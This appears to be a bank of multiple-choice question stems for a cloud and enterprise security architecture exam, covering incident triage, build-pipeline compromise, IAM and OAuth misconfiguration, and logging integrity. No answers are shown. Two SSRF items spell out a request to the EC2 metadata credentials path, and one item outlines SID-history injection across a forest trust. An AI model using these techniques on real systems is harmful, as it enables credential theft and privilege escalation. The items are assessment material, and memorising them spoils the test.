MCQ-38An estate has 4,800 hosts and 21,000 open findings. The dashboard reports 96% of CVSS 9.0+ findings closed within a 30-day SLA; last quarter the team closed 11,800 low and medium findings. A partner billing portal still has an SSO bypass, CVSS 9.8, no MFA, open 83 days, and its session token reaches the customer database. Of the 610 CVSS 9.0+ findings, 9 are internet-reachable: 4 have a path to a production database through a non-expiring service token (the portal is one), 4 are isolated build servers, 1 is an internet-facing marketing host with no credentials, and 601 are internal dev or test hosts with no credentials. The board asks why the 96% SLA missed the portal. Which diagnosis and next action should drive the next sprint?⌄
MCQ-26A post-incident review finds that a protected repository deployed an image built on a mutable shared runner. The SBOM generated for that image listed every package in the final image and matched the digest. The runner had been executing a malicious pre-step for 21 days, and 7 production services ran the tainted digest. The build system emits SLSA provenance attestations, but admission control only checks that an SBOM exists and is signed. Which conclusion and next action fit the evidence?⌄
MCQ-27A fleet of 12 persistent build VMs shares one writable layer cache; 28 other builders are ephemeral pods created for a single job and destroyed after it. Both pools reach the network through the same egress rules, and jobs on both run under the same service-account token. On day 1, a dependency's postinstall script rewrote the compiler wrapper on runner-07. Of the 74 builds the persistent VMs ran over the next 9 days, the 63 that produced binaries all contain a beacon and call out to an external host; 0 of the 411 binaries the ephemeral pods built in the same window do. Seven commits were built on both pools: the pod copies are clean, the VM copies are not. What does that split establish, and what should the team do first?⌄
MCQ-100A tenant-isolation bug sits in `dbkit` 3.2.0's `TenantScoped` helper: it drops the tenant predicate when the context's tenant is empty. `dbkit` is imported, not vendored, by 40 services; 12 call `TenantScoped`, 7 of them serving multi-tenant traffic and 5 single-tenant. The `service-template` cookiecutter declares `dbkit = "^3.2.0"`, ships no lockfile, and resolves dependencies at scaffold time; it generates about 6 services per quarter. The release train leaves in three weeks. Which plan closes the exposure before the train?⌄
MCQ-70A fleet of 40,000 endpoints installs firmware signed by an asymmetric key in a cloud KMS. The release pipeline runs under a shared CI service principal that holds kms:Sign on that key, and the update client accepts any artifact signed by it. Last quarter a compromised build step called Sign directly and published a malicious artifact; 12,000 endpoints installed it in 90 minutes before the channel was frozen. The key is non-exportable and SIGN_VERIFY. Which change actually closes the path the attacker used?⌄
MCQ-78An intern clicked Allow on a to-do app that requested Files.ReadWrite.All. It has since pulled 2.8 million documents into a consumer account. The intern's account was disabled three weeks ago and their sessions revoked, but the nightly sync still runs, and the sign-in log shows the job authenticating as the application itself, with no user in the token. Which action stops the sync?⌄
MCQ-54Conveyor turns tenant CSVs into Parquet. It runs as one service account, conveyor@prod, which holds objectViewer and objectCreator on every tenant bucket; the read has to be made with that identity because several tenants deliver their CSVs from a shared intake bucket that no tenant principal is allowed to read. A job is a JSON body {tenantId, sourceUri, destUri, callerJwt}. The handler verifies callerJwt against the calling tenant's JWKS, rejects the job unless callerJwt.tenant equals body.tenantId, rejects a destUri that is not a gs:// URI, then reads sourceUri as conveyor@prod and writes destUri as conveyor@prod. Ops finds this record in conveyor's log: tenantId=7, sourceUri=gs://t9-ledger/2024-q1.csv, destUri=gs://t7-exports/2024-q1.parquet, bytesRead=2.1 GB, status=OK. Tenant 7's token is genuine and unexpired, minted for conveyor by tenant 7's own identity provider. t9-ledger belongs to tenant 9 and t7-exports belongs to tenant 7. Which change stops a job of this shape from reading t9-ledger?⌄
MCQ-89A retailer runs one S3 analytics lake with a single IAM role, `analyst`, that every analyst assumes. Last quarter a marketing analyst joined the fraud graph table to a campaign list and exported 880,000 full PANs into a campaign tool, where they sat for six weeks. The board will keep the single lake for cost reasons, marketing must keep querying fraud signals, and fraud investigators must keep seeing full PAN for confirmed-fraud accounts. Which change should the board approve?⌄
MCQ-58Objects are stored in eu-west-1, encrypted client-side with data keys wrapped by a KMS key that also lives in eu-west-1. A batch role in us-east-1 holds s3:GetObject on the bucket and kms:Decrypt on that key; over a 6-hour run it fetched 210,000 objects, called kms:Decrypt to unwrap each data key, and decrypted the objects in memory in Virginia. An audit then removed the role's data-plane grants and replayed the path: all 20 sampled reads were denied. Which statement about the audit is correct?⌄
MCQ-82Our account 444455556666 owns role audit-reader, whose identity policy allows s3:GetObject on arn:aws:s3:::audit-logs/*, and whose trust policy allows sts:AssumeRole to Principal arn:aws:iam::999988887777:root with no Condition. Account 999988887777 is a SaaS vendor that creates one IAM user per customer inside that account. Last Tuesday CloudTrail shows 8,412,000 s3:GetObject calls by audit-reader and one sts:AssumeRole at 02:11 UTC from arn:aws:iam::999988887777:user/acme-batch, a user created for the vendor's customer Acme. The vendor's own incident-response pipeline, vendor-ir, calls AssumeRole unattended through the AWS SDK and must keep reading the bucket. Which change lets vendor-ir keep working while acme-batch's next AssumeRole is denied?⌄
MCQ-51A platform team replaces a static AWS access key in GitHub Actions with OIDC federation. The IAM role's trust policy uses `"StringLike": {"token.actions.githubusercontent.com:sub": "repo:acme/*"}` and the role carries AdministratorAccess. Two weeks later, CloudTrail shows AssumeRoleWithWebIdentity calls from `repo:acme/experiments`, a repo any engineer can push to, launching 12 `p4d.24xlarge` instances overnight. Which change removes the cause of that spend?⌄
MCQ-53A link-preview service runs as a process on an EC2 instance. The instance has IMDSv1 enabled (http_tokens=optional) and http_put_response_hop_limit=2. The service fetches any user-supplied URL with a plain GET and renders a preview. A pentest submits http://169.254.169.254/latest/meta-data/iam/security-credentials/preview-worker/ and receives AccessKeyId, SecretAccessKey and Token for a role that can list all 2,200 buckets in the account. The team's only change is to set http_tokens=required. The fetcher still issues a plain GET and cannot set custom headers. What does the next run of the same pentest request return?⌄
MCQ-81A URL-preview fetcher runs directly on an EC2 instance. IMDSv2 is required and HttpPutResponseHopLimit is 1. The fetcher issues only GET requests, follows up to 5 redirects, and forwards the caller's headers on every hop. A pen tester submits a URL that 302-redirects to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The fetcher logs HTTP 401 on that hop and returns no credentials. Which statement explains the 401 and names what would still expose the instance role?⌄
MCQ-80Bucket `ingest-prod` in account 1111 has a bucket policy granting `s3:PutObject` to `arn:aws:iam::2222:role/Uploader` and `s3:GetObject` to `arn:aws:iam::1111:role/Analytics`. Object Ownership is set to 'Object writer' (ACLs enabled). Uploader has written 40,000 objects, and Analytics gets AccessDenied on every one of them. The uploader team cannot change its code. What is the cause, and what change fixes it?⌄
MCQ-32A post-incident review of an IaaS account finds 14 EC2 instances with a security group allowing 0.0.0.0/0 on port 22. Three of the 14 are in an auto-scaling group whose launch template specifies the same security group; the ASG is scheduled for deletion tomorrow and has a maximum size of 3. The other 11 are long-running instances outside any ASG. Credential stuffing against SSH compromised the 3 ASG instances, which ran miners for 9 days. Which change addresses the class of failure?⌄
MCQ-33An insurer runs 47 Azure storage accounts across five subscriptions under one management group. Eleven of them were created from the portal before the landing zone existed: public network access is Enabled and the firewall is set to All networks. On Monday the platform team assigns one Azure Policy with effect Deny for publicNetworkAccess = Enabled at the management group and schedules nothing else. Friday's internet-reachability scanner records a hit whenever a storage endpoint answers from outside the corporate network. What does Friday's scan report, and what gets the count to zero?⌄
MCQ-87A payments team's DR failover runbook runs unattended at 03:00 and must create instances, promote the read replica and repoint Route 53. Its documented manual step has an on-call engineer assume the same role to finish a partial failover by hand. The automation user the runbook runs as holds a standing Owner role created 14 months ago, and an audit has flagged it. Which change satisfies the audit without breaking either path?⌄
MCQ-25A tenant has 12,400 mailboxes. A scheduling plugin's Entra app registration holds the Microsoft Graph permission Mail.ReadWrite as an application permission with tenant-wide admin consent; the plugin's code only reads free/busy. 300 users installed the plugin. The vendor discloses that an attacker held the app's client secret for 6 days before it was rotated. Which statement about the exposure during those 6 days is correct?⌄
MCQ-23A payments service receives state-changing webhooks from a partner that retries on 504 with the same event id but a freshly signed timestamp, and does not guarantee delivery order. There is no pull API to re-read authoritative state, and the receiver runs as six autoscaled instances with no shared memory. Which control set makes a duplicate delivery harmless?⌄
MCQ-7A payments team could not patch a TLS library on 40 hosts because the vendor stopped shipping fixes. Fourteen months ago the security board approved a WAF rule as a compensating control with a 90-day expiry, on the stated basis that the rule blocked the exploit class. Last week a red team ran 40 attempts at that exploit class through the WAF; 3 were blocked. The team wants to keep the WAF rule and close the finding. What should the architect do?⌄
MCQ-42Fabrikam was acquired 14 months ago. Integration built a two-way forest trust between the Fabrikam forest and the parent forest for a six-month migration window and left SID filtering off, because the first accounts moved over relied on SID history. Selective authentication is enabled, and one parent Tier 0 file server grants the Allowed to authenticate right to exactly one Fabrikam account: svc-legacy, the non-privileged service account the last remaining integration job runs as. On Tuesday an attacker holding a Fabrikam domain admin account phished on Monday added the parent forest's Enterprise Admins SID (S-1-5-21-<parent-forest-root-domain>-519) to svc-legacy's sIDHistory, then used svc-legacy to open an SMB session on that Tier 0 server and read files. Nothing on the parent side has changed, and the job must keep running for the 10 weeks left in the integration. Which change closes that path?⌄
MCQ-47A card processor's analytics warehouse holds PANs as plaintext CHAR(16). Storage, backups and the query path are AES-256 encrypted, and analysts sign in through SSO. 200 analysts hold SELECT on the payments table; a scope review recorded that 3 disputes analysts need the live PAN and the other 197 run only last-four and card-brand queries. A DLP event shows one of the 200 read 1.8 million PANs from the base table in a notebook over six days before offboarding completed. Which change removes the exposure that export demonstrated?⌄
MCQ-48An affiliate phished a helpdesk tech, reset a privileged account's password, and held Domain Admin for 40 minutes. In that window they deleted 90 days of backups from the domain-joined backup NAS in 25 minutes; restore took 21 days. The team proposes keeping that NAS, giving the backup job a write-only service account, and adding a 30-day object-lock retention to a second share on the same NAS. Which outcome should the team expect?⌄
MCQ-49A payments platform writes each 15-minute log batch, and a manifest holding that batch's SHA-256 plus an NTP-pinned timestamp, to a WORM bucket in a separate cloud account; the hot SIEM index holds a working copy. An insider deletes the hot indices covering a 14-hour window in which £6.1m of payouts are disputed. The WORM bucket holds 53 manifests for that window. What can the team establish about the disputed window?⌄
MCQ-71A mobile app pins the SPKI hash of the leaf certificate only, compiled into the build. Leaf certificates rotate on a 90-day cycle, and the release carrying each new pin ships 30 days before the rotation. Measured adoption: 70% of the install base takes a new build within 30 days of release; the remaining 30% take up to 120 days. On rotation day, what happens?⌄